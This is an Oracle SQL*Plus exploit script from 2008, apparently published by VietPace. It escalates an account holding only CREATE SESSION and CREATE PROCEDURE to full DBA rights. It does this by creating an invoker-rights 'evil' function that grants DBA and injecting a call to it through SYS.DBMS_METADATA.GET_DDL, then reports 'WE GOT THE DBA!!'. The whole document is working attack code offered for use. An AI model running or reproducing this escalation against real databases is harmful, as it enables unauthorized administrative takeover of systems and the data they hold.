-- -----------------------------------------------------------------------------
--                 www.vietpace.com | www.baomatoracle.com
-- -----------------------------------------------------------------------------
-- Script Name : dbms_meta_get_ddl_local.sql
-- Author      : VietPace
-- Date        : Oct 2008
-- -----------------------------------------------------------------------------
-- Description : This script can be used to Grant or revoke dba permission to 
--      		 unprivileged user.
--
-- Refer	   : Andrea "bunker" Purificato
--
-- Requirement : 1. CREATE SESSION
--				 2. CREATE PROCEDURE
-- -----------------------------------------------------------------------------
-- Maintainer  : VietPace (www.vietpace.com | www.baomatoracle.com)
-- Copyright   : Copyright (C) 2008 www.vietpace.com Limited. All rights
--               reserved. All registered trademarks are the property of their
--               respective owners and are hereby acknowledged.
-- -----------------------------------------------------------------------------
--  Usage      : The script provided here is available free. You can do anything 
--               you want with it commercial or non commercial as long as the 
--               copyrights and this notice are not removed or edited in any way. 
--               The scripts cannot be posted / published / hosted or whatever 
--               anywhere else except at www.vietpace.com | www.baomatoracle.com
-- -----------------------------------------------------------------------------
-- Version History
-- ===============
--
-- Who         version     Date      Description
-- ===         =======     ======    ======================
-- VietPace  	1.0         20 Oct 2008  First Issue.
-- -----------------------------------------------------------------------------

whenever sqlerror exit rollback
set feed on
set head on
set arraysize 1
set space 1
set verify off
set pages 25
set lines 80
set termout on
clear screen
set serveroutput on size 1000000

spool dbms_exp_ext_c.lis

undefine user_name
undefine grant_revoke

set feed off
col system_date  noprint new_value val_system_date
select to_char(sysdate,'Dy Mon dd hh24:mi:ss yyyy') system_date from sys.dual;

prompt dbms_meta_get_ddl_local: Release 1.0 - Production on &val_system_date
prompt Copyright (c) 2008 WWW.VIETPACE.COM Limited. All rights reserved. 
set feed on
prompt
accept user_name char prompt  		'USERNAME TO CHECK                [SCOTT]: ' default SCOTT
accept grant_revoke char prompt  	'PRIVS CONTROL [G]rant/[R]evoke   [G]: ' default G
prompt 
declare
    --
    lv_grant_revoke varchar2(1) := 'G';
    lv_sqlcmd varchar2(1000):= 'GRANT ALL PRIVILEGE, DBA TO ' ||upper('&&user_name');
    lv_evil_function varchar2(1000);
    lv_run_evil_function varchar2(1000);
    --
    --
begin
    	dbms_output.enable(1000000);
		
		lv_grant_revoke:=upper('&&grant_revoke');
		if lv_grant_revoke='R' then
			dbms_output.put_line('--- REVOKING DBA FROM '||upper('&&user_name')||'...');			
			lv_sqlcmd := 'REVOKE ALL PRIVILEGE, DBA FROM ' || upper('&&user_name');	
			execute immediate lv_sqlcmd;
			dbms_output.put_line('--- DONE!');
			return;
		end if;
		
		lv_evil_function := 'CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID '||
							'CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION;' ||
							'BEGIN EXECUTE IMMEDIATE ''' ||
							lv_sqlcmd ||''';'||' COMMIT; RETURN(0); END;';		
		--insert into app_log values(sysdate,lv_evil_function); commit;
		execute immediate lv_evil_function;
		
		lv_run_evil_function := 'DECLARE R CLOB; '||
								'BEGIN R := SYS.DBMS_METADATA.GET_DDL(''''''||' ||
								upper('&&user_name')||'.own||'''''','''');END;';		
								
		--insert into app_log values(sysdate,lv_run_evil_function); commit;
		execute immediate lv_run_evil_function;
		
		dbms_output.put_line('--- WE GOT THE DBA!!');
exception
    	when others then
        	dbms_output.put_line('ERROR: '||sqlcode);
        	dbms_output.put_line('MSG: '||sqlerrm);

end;
/

prompt
prompt For updates please visit WWW.VIETPACE.COM | WWW.BAOMATORACLE.COM
prompt
spool off

whenever sqlerror continue